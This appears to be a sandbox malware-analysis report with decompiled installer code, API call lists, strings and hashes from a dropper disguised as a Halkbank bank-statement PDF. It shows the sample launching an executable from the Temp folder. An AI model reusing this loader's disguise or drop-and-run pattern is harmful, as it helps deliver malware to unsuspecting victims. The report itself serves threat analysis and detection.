0x004075c3
0x00000000
0x00000000
0x00406bf2

Memory Dump Source

Source File: 00000000.00000002.313010361.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.313005023.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313018431.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313027463.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313027463.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313027463.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313027463.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313027463.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313185127.000000000043B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Halkbank_Ekstre_20191102_073809_405251-PDF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6ae840c17bc4cb012e3c6e2f9739eb08ea49decd14d2b7f73774d31e5ba5825a
Instruction ID: 02c1e40b0c9780dd067322b7733c474732bd0f187a49f53fd7fd3c108ee94619
Opcode Fuzzy Hash: 6ae840c17bc4cb012e3c6e2f9739eb08ea49decd14d2b7f73774d31e5ba5825a
Instruction Fuzzy Hash: 7CF15570D04229CBDF28CFA8C8946ADBBB0FF44305F24816ED456BB281D7386A86DF45

Uniqueness

Uniqueness Score: -1.00%

Function 0040699E Relevance: 3.0, APIs: 2, Instructions: 14
fileCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040699E(WCHAR* _a4) {
				void* _t2;

				_t2 = FindFirstFileW(_a4, 0x426798); // executed
				if(_t2 == 0xffffffff) {
					return 0;
				}
				FindClose(_t2);
				return 0x426798;
			}

0x004069a9
0x004069b2
0x00000000
0x004069bf
0x004069b5
0x00000000

APIs

FindFirstFileW.KERNELBASE(7476FAA0,00426798,00425F50,00406088,00425F50,00425F50,00000000,00425F50,00425F50,7476FAA0,?,7476F560,00405D94,?,7476FAA0,7476F560), ref: 004069A9
FindClose.KERNEL32(00000000), ref: 004069B5

Memory Dump Source

Source File: 00000000.00000002.313010361.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.313005023.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313018431.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313027463.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313027463.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313027463.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313027463.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313027463.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313185127.000000000043B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Halkbank_Ekstre_20191102_073809_405251-PDF.jbxd

Similarity

API ID: Find$CloseFileFirst
String ID:
API String ID: 2295610775-0
Opcode ID: 1093b80bdde5f117a2aeaff90f04fc035896fcf98737a4a628a8a679d5dfa397
Instruction ID: 0ca7534fdffec89160a31ceabb6ef5ff718bfc83d1618d69d17f9e635378cbc3
Opcode Fuzzy Hash: 1093b80bdde5f117a2aeaff90f04fc035896fcf98737a4a628a8a679d5dfa397
Instruction Fuzzy Hash: 5ED012B15192205FC34057387E0C84B7A989F563317268A36B4AAF11E0CB348C3297AC

Uniqueness

Uniqueness Score: -1.00%

Function 004040C5 Relevance: 61.6, APIs: 34, Strings: 1, Instructions: 357
windowstringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 84%

			E004040C5(struct HWND__* _a4, intOrPtr _a8, int _a12, long _a16) {
				struct HWND__* _v28;
				void* _v84;
				void* _v88;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t34;
				signed int _t36;
				signed int _t38;
				struct HWND__* _t48;
				signed int _t67;
				struct HWND__* _t73;
				signed int _t86;
				struct HWND__* _t91;
				signed int _t99;
				int _t103;
				signed int _t117;
				int _t118;
				int _t122;
				signed int _t124;
				struct HWND__* _t127;
				struct HWND__* _t128;
				int _t129;
				intOrPtr _t130;
				long _t133;
				int _t135;
				int _t136;
				void* _t137;
				void* _t145;

				_t130 = _a8;
				if(_t130 == 0x110 || _t130 == 0x408) {
					_t34 = _a12;
					_t127 = _a4;
					__eflags = _t130 - 0x110;
					 *0x423730 = _t34;
					if(_t130 == 0x110) {
						 *0x42a268 = _t127;
						 *0x423744 = GetDlgItem(_t127, 1);
						_t91 = GetDlgItem(_t127, 2);
						_push(0xffffffff);
						_push(0x1c);
						 *0x421710 = _t91;
						E004045C4(_t127);
						SetClassLongW(_t127, 0xfffffff2,  *0x429248); // executed
						 *0x42922c = E0040140B(4);
						_t34 = 1;
						__eflags = 1;
						 *0x423730 = 1;
					}
					_t124 =  *0x40a39c; // 0x0
					_t136 = 0;
					_t133 = (_t124 << 6) +  *0x42a280;
					__eflags = _t124;
					if(_t124 < 0) {
						L36:
						E00404610(0x40b);
						while(1) {
							_t36 =  *0x423730;
							 *0x40a39c =  *0x40a39c + _t36;
							_t133 = _t133 + (_t36 << 6);
							_t38 =  *0x40a39c; // 0x0
							__eflags = _t38 -  *0x42a284;
							if(_t38 ==  *0x42a284) {
								E0040140B(1);
							}
							__eflags =  *0x42922c - _t136;
							if( *0x42922c != _t136) {
								break;
							}
							__eflags =  *0x40a39c -  *0x42a284; // 0x0
							if(__eflags >= 0) {
								break;
							}
							_t117 =  *(_t133 + 0x14);
							E004066A5(_t117, _t127, _t133, 0x43a000,  *((intOrPtr*)(_t133 + 0x24)));
							_push( *((intOrPtr*)(_t133 + 0x20)));
							_push(0xfffffc19);
							E004045C4(_t127);
							_push( *((intOrPtr*)(_t133 + 0x1c)));
							_push(0xfffffc1b);
							E004045C4(_t127);
							_push( *((intOrPtr*)(_t133 + 0x28)));
							_push(0xfffffc1a);
							E004045C4(_t127);
							_t48 = GetDlgItem(_t127, 3);
							__eflags =  *0x42a2ec - _t136;
							_v28 = _t48;
							if( *0x42a2ec != _t136) {
								_t117 = _t117 & 0x0000fefd | 0x00000004;
								__eflags = _t117;
							}
							ShowWindow(_t48, _t117 & 0x00000008);
							EnableWindow( *(_t137 + 0x34), _t117 & 0x00000100);
							E004045E6(_t117 & 0x00000002);
							_t118 = _t117 & 0x00000004;
							EnableWindow( *0x421710, _t118);
							__eflags = _t118 - _t136;
							if(_t118 == _t136) {
								_push(1);
							} else {
								_push(_t136);
							}
							EnableMenuItem(GetSystemMenu(_t127, _t136), 0xf060, ??);
							SendMessageW( *(_t137 + 0x3c), 0xf4, _t136, 1);
							__eflags =  *0x42a2ec - _t136;
							if( *0x42a2ec == _t136) {
								_push( *0x423744);
							} else {
								SendMessageW(_t127, 0x401, 2, _t136);
								_push( *0x421710);
							}
							E004045F9();
							E00406668(0x423748, E004040A6());
							E004066A5(0x423748, _t127, _t133,  &(0x423748[lstrlenW(0x423748)]),  *((intOrPtr*)(_t133 + 0x18)));
							SetWindowTextW(_t127, 0x423748);
							_push(_t136);
							_t67 = E00401389( *((intOrPtr*)(_t133 + 8)));
							__eflags = _t67;
							if(_t67 != 0) {
								continue;
							} else {
								__eflags =  *_t133 - _t136;
								if( *_t133 == _t136) {
									continue;
								}
								__eflags =  *(_t133 + 4) - 5;
								if( *(_t133 + 4) != 5) {
									DestroyWindow( *0x429238);
									 *0x422720 = _t133;
									__eflags =  *_t133 - _t136;
									if( *_t133 <= _t136) {
										goto L60;
									}
									_t73 = CreateDialogParamW( *0x42a260,  *_t133 +  *0x429240 & 0x0000ffff, _t127,  *(0x40a3a0 +  *(_t133 + 4) * 4), _t133);
									__eflags = _t73 - _t136;
									 *0x429238 = _t73;
									if(_t73 == _t136) {
										goto L60;
									}
									_push( *((intOrPtr*)(_t133 + 0x2c)));
									_push(6);
									E004045C4(_t73);
									GetWindowRect(GetDlgItem(_t127, 0x3fa), _t137 + 0x10);
									ScreenToClient(_t127, _t137 + 0x10);
									SetWindowPos( *0x429238, _t136,  *(_t137 + 0x20),  *(_t137 + 0x20), _t136, _t136, 0x15);
									_push(_t136);
									E00401389( *((intOrPtr*)(_t133 + 0xc)));
									__eflags =  *0x42922c - _t136;
									if( *0x42922c != _t136) {
										goto L63;
									}
									ShowWindow( *0x429238, 8);
									E00404610(0x405);
									goto L60;
								}
								__eflags =  *0x42a2ec - _t136;
								if( *0x42a2ec != _t136) {
									goto L63;
								}
								__eflags =  *0x42a2e0 - _t136;
								if( *0x42a2e0 != _t136) {
									continue;
								}
								goto L63;
							}
						}
						DestroyWindow( *0x429238); // executed
						 *0x42a268 = _t136;
						EndDialog(_t127,  *0x421f18);
						goto L60;
					} else {
						__eflags = _t34 - 1;
						if(_t34 != 1) {
							L35:
							__eflags =  *_t133 - _t136;
							if( *_t133 == _t136) {
								goto L63;
							}
							goto L36;
						}
						_push(0);
						_t86 = E00401389( *((intOrPtr*)(_t133 + 0x10)));
						__eflags = _t86;
						if(_t86 == 0) {
							goto L35;
						}
						SendMessageW( *0x429238, 0x40f, 0, 1);
						__eflags =  *0x42922c;
						return 0 |  *0x42922c == 0x00000000;
					}
				} else {
					_t127 = _a4;
					_t136 = 0;
					if(_t130 == 0x47) {
						SetWindowPos( *0x423728, _t127, 0, 0, 0, 0, 0x13);
					}
					_t122 = _a12;
					if(_t130 != 5) {
						L8:
						if(_t130 != 0x40d) {
							__eflags = _t130 - 0x11;
							if(_t130 != 0x11) {
								__eflags = _t130 - 0x111;
								if(_t130 != 0x111) {
									goto L28;
								}
								_t135 = _t122 & 0x0000ffff;
								_t128 = GetDlgItem(_t127, _t135);
								__eflags = _t128 - _t136;
								if(_t128 == _t136) {
									L15:
									__eflags = _t135 - 1;
									if(_t135 != 1) {
										__eflags = _t135 - 3;
										if(_t135 != 3) {
											_t129 = 2;
											__eflags = _t135 - _t129;
											if(_t135 != _t129) {
												L27:
												SendMessageW( *0x429238, 0x111, _t122, _a16);
												goto L28;
											}
											__eflags =  *0x42a2ec - _t136;
											if( *0x42a2ec == _t136) {
												_t99 = E0040140B(3);
												__eflags = _t99;
												if(_t99 != 0) {
													goto L28;
												}
												 *0x421f18 = 1;
												L23:
												_push(0x78);
												L24:
												E0040459D();
												goto L28;
											}
											E0040140B(_t129);
											 *0x421f18 = _t129;
											goto L23;
										}
										__eflags =  *0x40a39c - _t136; // 0x0
										if(__eflags <= 0) {
											goto L27;
										}
										_push(0xffffffff);
										goto L24;
									}
									_push(_t135);
									goto L24;
								}
								SendMessageW(_t128, 0xf3, _t136, _t136);
								_t103 = IsWindowEnabled(_t128);
								__eflags = _t103;
								if(_t103 == 0) {
									L63:
									return 0;
								}
								goto L15;
							}
							SetWindowLongW(_t127, _t136, _t136);
							return 1;
						}
						DestroyWindow( *0x429238);
						 *0x429238 = _t122;
						L60:
						_t145 =  *0x425748 - _t136; // 0x0
						if(_t145 == 0 &&  *0x429238 != _t136) {
							ShowWindow(_t127, 0xa);
							 *0x425748 = 1;
						}
						goto L63;
					} else {
						asm("sbb eax, eax");
						ShowWindow( *0x423728,  ~(_t122 - 1) & 0x00000005);
						if(_t122 != 2 || (GetWindowLongW(_t127, 0xfffffff0) & 0x21010000) != 0x1000000) {
							L28:
							return E0040462B(_a8, _t122, _a16);
						} else {
							ShowWindow(_t127, 4);
							goto L8;
						}
					}
				}
			}

0x004040d0
0x004040d7
0x0040423e
0x00404242
0x00404246
0x00404248
0x0040424d
0x00404258
0x00404263
0x00404268
0x0040426a
0x0040426c
0x0040426f
0x00404274
0x00404282
0x0040428f
0x00404296
0x00404296
0x00404297
0x00404297
0x0040429c
0x004042a2
0x004042a9
0x004042af
0x004042b1
0x004042f1
0x004042f6
0x004042fb
0x004042fb
0x00404300
0x00404309
0x0040430b
0x00404310
0x00404316
0x0040431a
0x0040431a
0x0040431f
0x00404325
0x00000000
0x00000000
0x00404330
0x00404336
0x00000000
0x00000000
0x0040433f
0x00404347
0x0040434c
0x0040434f
0x00404355
0x0040435a
0x0040435d
0x00404363
0x00404368
0x0040436b
0x00404371
0x00404379
0x0040437f
0x00404385
0x00404389
0x00404390
0x00404390
0x00404390
0x0040439a
0x004043ac
0x004043b8
0x004043bd
0x004043c7
0x004043cd
0x004043cf
0x004043d4
0x004043d1
0x004043d1
0x004043d1
0x004043e4
0x004043fc
0x004043fe
0x00404404
0x00404419
0x00404406
0x0040440f
0x00404411
0x00404411
0x0040441f
0x00404430
0x00404446
0x0040444d
0x00404453
0x00404457
0x0040445c
0x0040445e
0x00000000
0x00404464
0x00404464
0x00404466
0x00000000
0x00000000
0x0040446c
0x00404470
0x00404495
0x0040449b
0x004044a1
0x004044a3
0x00000000
0x00000000
0x004044c9
0x004044cf
0x004044d1
0x004044d6
0x00000000
0x00000000
0x004044dc
0x004044df
0x004044e2
0x004044f9
0x00404505
0x0040451e
0x00404524
0x00404528
0x0040452d
0x00404533
0x00000000
0x00000000
0x0040453d
0x00404548
0x00000000
0x00404548
0x00404472
0x00404478
0x00000000
0x00000000
0x0040447e
0x00404484
0x00000000
0x00000000
0x00000000
0x0040448a
0x0040445e
0x00404555
0x00404561
0x00404568
0x00000000
0x004042b3
0x004042b3
0x004042b6
0x004042e9
0x004042e9
0x004042eb
0x00000000
0x00000000
0x00000000
0x004042eb
0x004042b8
0x004042bc
0x004042c1
0x004042c3
0x00000000
0x00000000
0x004042d3
0x004042db
0x00000000
0x004042e1
0x004040e9
0x004040e9
0x004040ed
0x004040f2
0x00404101
0x00404101
0x00404107
0x0040410e
0x00404152
0x00404158
0x00404171
0x00404174
0x00404187
0x0040418d
0x00000000
0x00000000
0x00404193
0x0040419e
0x004041a0
0x004041a2
0x004041c1
0x004041c1
0x004041c4
0x004041c9
0x004041cc
0x004041dc
0x004041dd
0x004041df
0x00404215
0x00404225
0x00000000
0x00404225
0x004041e1
0x004041e7
0x00404200
0x00404205
0x00404207
0x00000000
0x00000000
0x00404209
0x004041f5
0x004041f5
0x004041f7
0x004041f7
0x00000000
0x004041f7
0x004041ea
0x004041ef
0x00000000
0x004041ef
0x004041ce
0x004041d4
0x00000000
0x00000000
0x004041d6
0x00000000
0x004041d6
0x004041c6
0x00000000
0x004041c6
0x004041ac
0x004041b3
0x004041b9
0x004041bb
0x00404591
0x00000000
0x00404591
0x00000000
0x004041bb
0x00404179
0x00000000
0x00404181
0x00404160
0x00404166
0x0040456e
0x0040456e
0x00404574
0x00404581
0x00404587
0x00404587
0x00000000
0x00404110
0x00404115
0x00404121
0x0040412a
0x0040422b
0x00000000
0x00404149
0x0040414c
0x00000000
0x0040414c
0x0040412a
0x0040410e

APIs

SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000013), ref: 00404101
ShowWindow.USER32(?), ref: 00404121
GetWindowLongW.USER32(?,000000F0), ref: 00404133
ShowWindow.USER32(?,00000004), ref: 0040414C
DestroyWindow.USER32 ref: 00404160
SetWindowLongW.USER32 ref: 00404179
GetDlgItem.USER32 ref: 00404198
SendMessageW.USER32(00000000,000000F3,00000000,00000000), ref: 004041AC
IsWindowEnabled.USER32(00000000), ref: 004041B3
GetDlgItem.USER32 ref: 0040425E
GetDlgItem.USER32 ref: 00404268
KiUserCallbackDispatcher.NTDLL(?,000000F2,?), ref: 00404282
SendMessageW.USER32(0000040F,00000000,00000001,?), ref: 004042D3
GetDlgItem.USER32 ref: 00404379
ShowWindow.USER32(00000000,?), ref: 0040439A
EnableWindow.USER32(?,?), ref: 004043AC
EnableWindow.USER32(?,?), ref: 004043C7
GetSystemMenu.USER32(?,00000000,0000F060,00000001), ref: 004043DD
EnableMenuItem.USER32 ref: 004043E4
SendMessageW.USER32(?,000000F4,00000000,00000001), ref: 004043FC
SendMessageW.USER32(?,00000401,00000002,00000000), ref: 0040440F
lstrlenW.KERNEL32(00423748,?,00423748,00000000), ref: 00404439
SetWindowTextW.USER32(?,00423748), ref: 0040444D
ShowWindow.USER32(?,0000000A), ref: 00404581

Strings

H7B, xrefs: 00404429

Memory Dump Source

Source File: 00000000.00000002.313010361.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.313005023.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313018431.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313027463.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313027463.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313027463.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313027463.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313027463.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313185127.000000000043B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Halkbank_Ekstre_20191102_073809_405251-PDF.jbxd

Similarity

API ID: Window$Item$MessageSendShow$Enable$LongMenu$CallbackDestroyDispatcherEnabledSystemTextUserlstrlen
String ID: H7B
API String ID: 2475350683-2300413410
Opcode ID: b499a380baa1669b9d39d87f51061d2fd0c3acf201e93ffa24678bb3f42416dd
Instruction ID: 1d4a55fced449df2e2a9dfc159c1061f424388fbea236c5341ec002980a30b6c
Opcode Fuzzy Hash: b499a380baa1669b9d39d87f51061d2fd0c3acf201e93ffa24678bb3f42416dd
Instruction Fuzzy Hash: C0C1C2B1600604FBDB216F61EE85E2A3B78EB85745F40097EF781B51F0CB3958529B2E

Uniqueness

Uniqueness Score: -1.00%

Function 00403D17 Relevance: 45.7, APIs: 13, Strings: 13, Instructions: 215
stringregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 96%

			E00403D17(void* __eflags) {
				intOrPtr _v4;
				intOrPtr _v8;
				int _v12;
				void _v16;
				void* __ebx;
				void* __edi;
				void* __esi;
				intOrPtr* _t22;
				void* _t30;
				void* _t32;
				int _t33;
				void* _t36;
				int _t39;
				int _t40;
				int _t44;
				short _t63;
				WCHAR* _t65;
				signed char _t69;
				WCHAR* _t76;
				intOrPtr _t82;
				WCHAR* _t87;

				_t82 =  *0x42a270;
				_t22 = E00406A35(2);
				_t90 = _t22;
				if(_t22 == 0) {
					_t76 = 0x423748;
					L"1033" = 0x30;
					 *0x437002 = 0x78;
					 *0x437004 = 0;
					E00406536(_t78, __eflags, 0x80000001, L"Control Panel\\Desktop\\ResourceLocale", 0, 0x423748, 0);
					__eflags =  *0x423748;
					if(__eflags == 0) {
						E00406536(_t78, __eflags, 0x80000003, L".DEFAULT\\Control Panel\\International",  &M004083D4, 0x423748, 0);
					}
					lstrcatW(L"1033", _t76);
				} else {
					E004065AF(L"1033",  *_t22() & 0x0000ffff);
				}
				E00403FED(_t78, _t90);
				_t86 = L"C:\\Users\\jones\\AppData\\Local\\Temp";
				 *0x42a2e0 =  *0x42a278 & 0x00000020;
				 *0x42a2fc = 0x10000;
				if(E0040603F(_t90, L"C:\\Users\\jones\\AppData\\Local\\Temp") != 0) {
					L16:
					if(E0040603F(_t98, _t86) == 0) {
						E004066A5(_t76, 0, _t82, _t86,  *((intOrPtr*)(_t82 + 0x118)));
					}
					_t30 = LoadImageW( *0x42a260, 0x67, 1, 0, 0, 0x8040); // executed
					 *0x429248 = _t30;
					if( *((intOrPtr*)(_t82 + 0x50)) == 0xffffffff) {
						L21:
						if(E0040140B(0) == 0) {
							_t32 = E00403FED(_t78, __eflags);
							__eflags =  *0x42a300;
							if( *0x42a300 != 0) {
								_t33 = E0040579D(_t32, 0);
								__eflags = _t33;
								if(_t33 == 0) {
									E0040140B(1);
									goto L33;
								}
								__eflags =  *0x42922c;
								if( *0x42922c == 0) {
									E0040140B(2);
								}
								goto L22;
							}
							ShowWindow( *0x423728, 5); // executed
							_t39 = E004069C5("RichEd20"); // executed
							__eflags = _t39;
							if(_t39 == 0) {
								E004069C5("RichEd32");
							}
							_t87 = L"RichEdit20W";
							_t40 = GetClassInfoW(0, _t87, 0x429200);
							__eflags = _t40;
							if(_t40 == 0) {
								GetClassInfoW(0, L"RichEdit", 0x429200);
								 *0x429224 = _t87;
								RegisterClassW(0x429200);
							}
							_t44 = DialogBoxParamW( *0x42a260,  *0x429240 + 0x00000069 & 0x0000ffff, 0, E004040C5, 0); // executed
							E00403C67(E0040140B(5), 1);
							return _t44;
						}
						L22:
						_t36 = 2;
						return _t36;
					} else {
						_t78 =  *0x42a260;
						 *0x429204 = E00401000;
						 *0x429210 =  *0x42a260;
						 *0x429214 = _t30;
						 *0x429224 = 0x40a3b4;
						if(RegisterClassW(0x429200) == 0) {
							L33:
							__eflags = 0;
							return 0;
						}
						SystemParametersInfoW(0x30, 0,  &_v16, 0);
						 *0x423728 = CreateWindowExW(0x80, 0x40a3b4, 0, 0x80000000, _v16, _v12, _v8 - _v16, _v4 - _v12, 0, 0,  *0x42a260, 0);
						goto L21;
					}
				} else {
					_t78 =  *(_t82 + 0x48);
					_t92 = _t78;
					if(_t78 == 0) {
						goto L16;
					}
					_t76 = 0x428200;
					E00406536(_t78, _t92,  *((intOrPtr*)(_t82 + 0x44)),  *0x42a298 + _t78 * 2,  *0x42a298 +  *(_t82 + 0x4c) * 2, 0x428200, 0);
					_t63 =  *0x428200; // 0x22
					if(_t63 == 0) {
						goto L16;
					}
					if(_t63 == 0x22) {
						_t76 = 0x428202;
						 *((short*)(E00405F64(0x428202, 0x22))) = 0;
					}
					_t65 = _t76 + lstrlenW(_t76) * 2 - 8;
					if(_t65 <= _t76 || lstrcmpiW(_t65, L".exe") != 0) {
						L15:
						E00406668(_t86, E00405F37(_t76));
						goto L16;
					} else {
						_t69 = GetFileAttributesW(_t76);
						if(_t69 == 0xffffffff) {
							L14:
							E00405F83(_t76);
							goto L15;
						}
						_t98 = _t69 & 0x00000010;
						if((_t69 & 0x00000010) != 0) {
							goto L15;
						}
						goto L14;
					}
				}
			}

0x00403d1d
0x00403d26
0x00403d2d
0x00403d2f
0x00403d43
0x00403d55
0x00403d5e
0x00403d67
0x00403d6e
0x00403d73
0x00403d7a
0x00403d8d
0x00403d8d
0x00403d98
0x00403d31
0x00403d3c
0x00403d3c
0x00403d9d
0x00403da7
0x00403db0
0x00403db5
0x00403dc6
0x00403e58
0x00403e60
0x00403e69
0x00403e69
0x00403e7f
0x00403e85
0x00403e93
0x00403f14
0x00403f1c
0x00403f26
0x00403f2b
0x00403f31
0x00403fbb
0x00403fc0
0x00403fc2
0x00403fde
0x00000000
0x00403fde
0x00403fc4
0x00403fca
0x00403fd2
0x00403fd2
0x00000000
0x00403fca
0x00403f3f
0x00403f4a
0x00403f4f
0x00403f51
0x00403f58
0x00403f58
0x00403f63
0x00403f6b
0x00403f6d
0x00403f6f
0x00403f78
0x00403f7b
0x00403f81
0x00403f81
0x00403fa0
0x00403fb1
0x00000000
0x00403fb6
0x00403f1e
0x00403f20
0x00000000
0x00403e95
0x00403e95
0x00403ea1
0x00403eab
0x00403eb1
0x00403eb6
0x00403ec5
0x00403fe3
0x00403fe3
0x00000000
0x00403fe3
0x00403ed4
0x00403f0f
0x00000000
0x00403f0f
0x00403dcc
0x00403dcc
0x00403dcf
0x00403dd1
0x00000000
0x00000000
0x00403ddf
0x00403df1
0x00403df6
0x00403dff
0x00000000
0x00000000
0x00403e05
0x00403e07
0x00403e14
0x00403e14
0x00403e1d
0x00403e23
0x00403e4b
0x00403e53
0x00000000
0x00403e35
0x00403e36
0x00403e3f
0x00403e45
0x00403e46
0x00000000
0x00403e46
0x00403e41
0x00403e43
0x00000000
0x00000000
0x00000000
0x00403e43
0x00403e23

APIs

Part of subcall function 00406A35: GetModuleHandleA.KERNEL32(?,00000020,?,00403750,0000000B), ref: 00406A47
Part of subcall function 00406A35: GetProcAddress.KERNEL32(00000000,?), ref: 00406A62

lstrcatW.KERNEL32(1033,00423748), ref: 00403D98
lstrlenW.KERNEL32("C:\Users\user\AppData\Local\Temp\vokkqsp.exe" C:\Users\user\AppData\Local\Temp\kxgycvzd.lwf,?,?,?,"C:\Users\user\AppData\Local\Temp\vokkqsp.exe" C:\Users\user\AppData\Local\Temp\kxgycvzd.lwf,00000000,C:\Users\user\AppData\Local\Temp,1033,00423748,80000001,Control Panel\Desktop\ResourceLocale,00000000,00423748,00000000,00000002,7476FAA0), ref: 00403E18
lstrcmpiW.KERNEL32(?,.exe,"C:\Users\user\AppData\Local\Temp\vokkqsp.exe" C:\Users\user\AppData\Local\Temp\kxgycvzd.lwf,?,?,?,"C:\Users\user\AppData\Local\Temp\vokkqsp.exe" C:\Users\user\AppData\Local\Temp\kxgycvzd.lwf,00000000,C:\Users\user\AppData\Local\Temp,1033,00423748,80000001,Control Panel\Desktop\ResourceLocale,00000000,00423748,00000000), ref: 00403E2B
GetFileAttributesW.KERNEL32("C:\Users\user\AppData\Local\Temp\vokkqsp.exe" C:\Users\user\AppData\Local\Temp\kxgycvzd.lwf,?,00000000,?), ref: 00403E36
LoadImageW.USER32 ref: 00403E7F

Part of subcall function 004065AF: wsprintfW.USER32 ref: 004065BC

RegisterClassW.USER32 ref: 00403EBC
SystemParametersInfoW.USER32 ref: 00403ED4
CreateWindowExW.USER32 ref: 00403F09
ShowWindow.USER32(00000005,00000000,?,00000000,?), ref: 00403F3F
GetClassInfoW.USER32 ref: 00403F6B
GetClassInfoW.USER32 ref: 00403F78
RegisterClassW.USER32 ref: 00403F81
DialogBoxParamW.USER32 ref: 00403FA0

Strings

RichEdit20W, xrefs: 00403F63, 00403F69
RichEdit, xrefs: 00403F72
.DEFAULT\Control Panel\International, xrefs: 00403D83
"C:\Users\user\AppData\Local\Temp\vokkqsp.exe" C:\Users\user\AppData\Local\Temp\kxgycvzd.lwf, xrefs: 00403DDF, 00403DE8, 00403DF6, 00403E45, 00403E4B
_Nb, xrefs: 00403E9B, 00403F03
.exe, xrefs: 00403E25
H7B, xrefs: 00403D43
Control Panel\Desktop\ResourceLocale, xrefs: 00403D4B
1033, xrefs: 00403D37, 00403D93
RichEd20, xrefs: 00403F45
C:\Users\user\AppData\Local\Temp, xrefs: 00403DA7, 00403DAF, 00403E52, 00403E58, 00403E68
RichEd32, xrefs: 00403F53
C:\Users\user\AppData\Local\Temp\, xrefs: 00403D1C

Memory Dump Source

Source File: 00000000.00000002.313010361.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.313005023.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313018431.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313027463.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313027463.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313027463.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313027463.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313027463.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313185127.000000000043B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Halkbank_Ekstre_20191102_073809_405251-PDF.jbxd

Similarity

API ID: Class$Info$RegisterWindow$AddressAttributesCreateDialogFileHandleImageLoadModuleParamParametersProcShowSystemlstrcatlstrcmpilstrlenwsprintf
String ID: "C:\Users\user\AppData\Local\Temp\vokkqsp.exe" C:\Users\user\AppData\Local\Temp\kxgycvzd.lwf$.DEFAULT\Control Panel\International$.exe$1033$C:\Users\user\AppData\Local\Temp$C:\Users\user\AppData\Local\Temp\$Control Panel\Desktop\ResourceLocale$H7B$RichEd20$RichEd32$RichEdit$RichEdit20W$_Nb
API String ID: 1975747703-3330949211
Opcode ID: 53155da091c4b3d7a5df89bad193350c55a8525543a5f9d2669ac1eab67f041a
Instruction ID: e235badc60aeba35c86cf297cd954ec43a22164425911800af60bc979c7621a1
Opcode Fuzzy Hash: 53155da091c4b3d7a5df89bad193350c55a8525543a5f9d2669ac1eab67f041a
Instruction Fuzzy Hash: E661D570640201BAD730AF66AD45E2B3A7CEB84B49F40457FF945B22E1DB3D5911CA3D

Uniqueness

Uniqueness Score: -1.00%

Function 004030D0 Relevance: 24.7, APIs: 5, Strings: 9, Instructions: 204
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 98%

			E004030D0(void* __eflags, signed int _a4) {
				DWORD* _v8;
				DWORD* _v12;
				intOrPtr _v16;
				long _v20;
				intOrPtr _v24;
				intOrPtr _v28;
				intOrPtr _v32;
				intOrPtr _v36;
				signed int _v40;
				short _v560;
				long _t54;
				void* _t57;
				void* _t62;
				intOrPtr _t65;
				void* _t68;
				intOrPtr* _t70;
				long _t82;
				signed int _t89;
				intOrPtr _t92;
				long _t94;
				void* _t102;
				void* _t106;
				long _t107;
				long _t110;
				void* _t111;

				_t94 = 0;
				_v8 = 0;
				_v12 = 0;
				 *0x42a26c = GetTickCount() + 0x3e8;
